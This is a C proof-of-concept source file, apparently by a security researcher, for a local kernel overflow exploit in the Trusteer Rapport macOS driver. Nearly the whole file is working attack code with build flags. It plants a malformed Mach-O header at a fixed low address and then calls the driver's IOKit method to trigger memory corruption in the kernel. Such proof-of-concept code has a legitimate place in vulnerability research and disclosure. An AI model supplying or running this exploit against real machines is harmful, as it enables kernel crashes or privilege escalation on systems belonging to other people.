/* rapport-smash.c
 *
 * Copyright (c) 2011 by <mu-b@digit-labs.org>
 *
 * Trusteer Rapport local kernel overflow exploit - gakl_driver_2 PoC
 * by mu-b - Wed 19 Oct 2011
 *
 * $Id: rapport-smash.c 44 2019-02-28 09:30:17Z mu-b $
 *
 * - Tested on: Trusteer Rapport (Apple MACOS X 10.6.4)
 *              Trusteer Rapport (Apple MACOS X 10.7.0)
 *
 * parsing mach-o headers at an assumed address of 0x1000 is *bad*,
 * doing the parsing badly is even *worse*.
 *
 * compile: clang -Wall -fno-pie -arch i386 rapport-smash.c -o rapport-smash -framework IOKit -Xlinker -image_base -Xlinker 0x80000 -Xlinker -pagezero_size -Xlinker 0x1000 -Xlinker -segprot -Xlinker __PAGEZERO -Xlinker rwx -Xlinker -
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2011!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <mach-o/loader.h>
#include <stdint.h>
#include <string.h>
#include <sys/dirent.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <unistd.h>

#include <Carbon/Carbon.h>

struct rapport_activate {
  uint32_t flag;
  uint32_t num_pids;
  uint32_t pids[0xFF0 / sizeof (uint32_t)];
};

int
main (int argc, char **argv)
{
  struct rapport_activate active;
  struct mach_header *hdr;
  io_connect_t rapport_port;
  io_service_t service;
  kern_return_t kr;
  int r;

  printf ("Trusteer Rapport local kernel overflow exploit - gakl_driver_2 POC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2011!@$!\n\n");

  service = IOServiceGetMatchingService (kIOMasterPortDefault,
                                         IOServiceMatching("com_trusteer_rapportke_v2"));
  if (!service)
    {
      fprintf (stderr, "* IOServiceGetMatchingService failed, rapport running?\n");
      return (EXIT_FAILURE);
    }

  rapport_port = (io_connect_t) 0;
  kr = IOServiceOpen (service, mach_task_self (), 0, &rapport_port);
  IOObjectRelease (service);

  if (kr != kIOReturnSuccess)
    {
      fprintf (stderr, "* IOServiceOpen failed\n");
      return (EXIT_FAILURE);
    }

  hdr = (struct mach_header *) 0x1000;
  if ((r = mprotect (hdr, PAGE_SIZE, PROT_READ | PROT_WRITE)) < 0)
    {
      fprintf (stderr, "* mprotect failed\n");
      return (EXIT_FAILURE);
    }

  if ((r = munmap (((char *) hdr) + PAGE_SIZE, PAGE_SIZE)) < 0)
    {
      fprintf (stderr, "* munmap failed\n");
      return (EXIT_FAILURE);
    }

  memset (&active, 0, sizeof active);
  active.flag = 0x7F;
  active.num_pids = 1;
  active.pids[0] = getpid ();

  memset (hdr, 0, PAGE_SIZE);
  hdr->magic = 0xFEEDFACE;
  hdr->filetype = 2;
  hdr->ncmds = 0;
  hdr->sizeofcmds = -0x80;
  memset (((char *) hdr) + 0x1C, 0x41, 0x1000 - 0x1C);

  kr = IOConnectCallStructMethod (rapport_port, 2, &active, sizeof active, NULL, NULL);
  fprintf (stderr, "* rapport_activate IOConnectCallStructMethod %d\n", kr);

  /* not reachable */
  return (EXIT_SUCCESS);
}
